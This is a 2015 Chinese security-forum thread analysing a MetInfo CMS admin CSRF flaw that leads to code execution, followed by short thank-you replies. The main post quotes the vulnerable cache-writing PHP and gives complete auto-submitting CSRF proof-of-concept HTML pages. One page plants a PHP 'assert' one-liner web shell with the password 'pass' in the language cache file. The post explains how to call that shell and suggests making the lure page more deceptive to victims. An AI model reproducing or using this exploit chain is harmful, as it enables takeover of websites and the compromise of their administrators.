90_ 发表于 2015-8-7 09:13:12

Metinfo 后台csrf 漏洞getshell 分析附poc

转自90sec@淡蓝色の忧伤

在include/lang.php 中 从第46行开始
if(!file_get_contents(ROOTPATH.'cache/lang_'.$lang.'.php')||!file_get_contents(ROOTPATH.'cache/lang_json_'.$lang.'.php')){
        $query="select * from $met_language where lang='$lang' and site='0' and array!='0'";
        $result= $db->query($query);
        while($listlang= $db->fetch_array($result)){
                $name = 'lang_'.$listlang['name'];
                $$name= trim($listlang['value']);
                $str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";
                $lang_json[$listlang['name']]=$listlang['value'];
        }
        $lang_json['met_weburl'] = $met_langok[$lang];
        $str="<?php\n".$str."\n?>";
        file_put_contents(ROOTPATH.'cache/lang_'.$lang.'.php',$str);
        file_put_contents(ROOTPATH.'cache/lang_json_'.$lang.'.php',json_encode($lang_json));
}else{
        require_once ROOTPATH.'cache/lang_'.$lang.'.php';
}
注意

file_put_contents(ROOTPATH.'cache/lang_json_'.$lang.'.php',json_encode($lang_json));
$lang_json 是从数据库中取出的数据

(ps:刚开始看的这里以为$lang_json没初始化可以覆盖它getshell兴奋了一下,后来发现$lang_json还是会被过滤,(⊙﹏⊙)b)


为了执行这上述语句需要拿到shell 我们需要

1. $lang_json内的数据可控
2. !file_get_contents(ROOTPATH.'cache/lang_'.$lang.'.php')||!file_get_contents(ROOTPATH.'cache/lang_json_'.$lang.'.php')) 成立


第一个条件我们先不看,先让第二个条件满足
这两个是metinfo 的语言缓存文件,只有当系统不存在这种语言的缓存的时候系统才会创建缓存。
怎么让系统不存在缓存文件(=@__@=)呢?

1.变量覆盖
但是metinfo的公共文件config/config.inc.php 中有这么一段
$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'");
if(!$langoks)die('No data in the database,please reinstall.');
这导致如果变量$lang不在数据库中程序就不会往下执行。所有变量覆盖这条路不通

2.现在来到后台


在后台 设置 --- 》语言 新添加的语言将不会有缓存文件。满足第二个条件

这时我们看到后台可以编辑语言参数,这里可以修改数据库,从而控制$lang_json 变量

到这里我们已经能后台getshell了,但是后台权限不怎么好弄到。
所有我们进一步构造csrf 漏洞。

Metinfo 后台没有csrf 防御,没有token
在创建语言,和编辑语言处抓包,本地构造表单,用js提交

以下为 poc
Test.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
</head>
<body><iFrame src="poc1.html" width="500" height="500"></iFrame>
<iFrame src="poc2.html"  width="500" height="500"></iFrame>
</body>
</html>
Test.html 包含两个HTML文件,poc1.html和poc2.html
宽度500 高500 是为了方便测试,使用时可用自行修改。当然你还得想想怎么让这个页面更具迷惑性。
Poc1.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
</head>
<body>
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form name='form1' action="http://test.duye.com/admin/system/lang/lang.php">
      <input type="hidden" name="anyid" value="10" />
      <input type="hidden" name="lang" value="cn" />
      <input type="hidden" name="cs" value="1" />
      <input type="hidden" name="action" value="modify" />
      <input type="hidden" name="langsetaction" value="add" />
      <input type="hidden" name="cs" value="1" />
      <input type="hidden" name="langorder" value="3" />
      <input type="hidden" name="langautor" value="el" />
      <input type="hidden" name="langname" value="希腊语" />
      <input type="hidden" name="langflag" value="el.gif" />
      <input type="hidden" name="langmark" value="" />
      <input type="hidden" name="langdlok" value="0" />
      <input type="hidden" name="langfile" value="en" />
      <input type="hidden" name="synchronous1" value="" />
      <input type="hidden" name="synchronous" value="sq" />
      <input type="hidden" name="languseok" value="1" />
      <input type="hidden" name="langnewwindows" value="1" />
      <input type="hidden" name="met_index_type1" value="0" />
      <input type="hidden" name="langlink" value="" />
      <input type="hidden" name="Submit" value="保存" />
      <input type="submit" value="Submit request" />
    </form>
<script>
function sub(){
document.form1.submit();
}
setTimeout(sub,10000);
</script>
</body>
</html>
Poc1.html 是提交创建新语言的表单 有js 控制,在加载1秒后自动提交。
其中参数 langautor是语言简写,le 是希腊,de是德国, en 是英语,
一定要保证新创建的语言web没有用过,不然getshell将失败。
Poc2.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
</head>
<body>
    <form name='form1' action="http://test.duye.com/admin/system/lang/langeditor.php">
      <input type="hidden" name="anyid" value="10" />
      <input type="hidden" name="cs" value="0" />
      <input type="hidden" name="lang" value="cn" />
      <input type="hidden" name="action" value="modify" />
      <input type="hidden" name="langnum" value="" />
      <input type="hidden" name="lang" value="cn" />
      <input type="hidden" name="langeditor" value="el" />
      <input type="hidden" name="metinfolangid" value="" />
      <input type="hidden" name="sethomepage_metinfo" value="HomePage" />
      <input type="hidden" name="home_metinfo" value="<?php call_user_func('assert', $_REQUEST['pass']);?>" /><!-- 这里插入一句话木马 <?php call_user_func('assert', $_REQUEST['pass']);?>-->
      <input type="hidden" name="foottext4_metinfo" value="Home" />
      <input type="hidden" name="PageHome_metinfo" value="Home" />
      <input type="hidden" name="memberIndex3_metinfo" value="User Home" />
      <input type="hidden" name="Submit" value="保存" />
      <input type="submit" value="Submit request" />
    </form>
<!-- 当受害者点击该文件以后 , 去首页访问任意站点,在url中加入参数 ?lang=el (el为你设置的语言,当前el为希腊语)
                然后系统会在cache 目录下生成lang_json_el.php  (el 为你设置的语言)
        菜单连接www.test.com/cache/lang_json_el.php  密码pass
                 -->
</body>
<script>
function sub(){
document.form1.submit();
}
setTimeout(sub,20000);
</script>
</html>
修改数据库加插入一句话<?php call_user_func('assert', $_REQUEST['pass']);?> 密码pass


当受害者打开该文件以后 , 去首页访问任意站点,在url中加入参数 ?lang=el (el为你设置的语言当前el为希腊语)
然后系统会在cache 目录下生成lang_json_el.php(el 为你设置的语言)

菜单连接www.test.com/cache/lang_json_el.php密码pass


后记:应该和zhk 在在乌云上发的这个是同一个漏洞
最新POC:

BaldLei 发表于 2015-8-7 11:40:30

路过,谢谢分享!

arctic 发表于 2015-8-7 19:17:48

还是不错的哦,顶了

小龙 发表于 2015-8-8 01:17:51

还是不错的哦,顶了

mystic 发表于 2015-8-8 18:00:56

还是不错的哦,顶了

arctic 发表于 2015-8-9 06:26:59

学习学习技术,加油!

r00tc4 发表于 2015-8-10 12:56:59

还是不错的哦,顶了

Sty,涛 发表于 2015-8-10 14:24:30

感谢楼主的分享~

wanmznh 发表于 2015-8-10 22:31:41

支持,看起来不错呢!

wanmznh 发表于 2015-8-12 01:56:54

感谢楼主的分享~
页: [1]
查看完整版本: Metinfo 后台csrf 漏洞getshell 分析附poc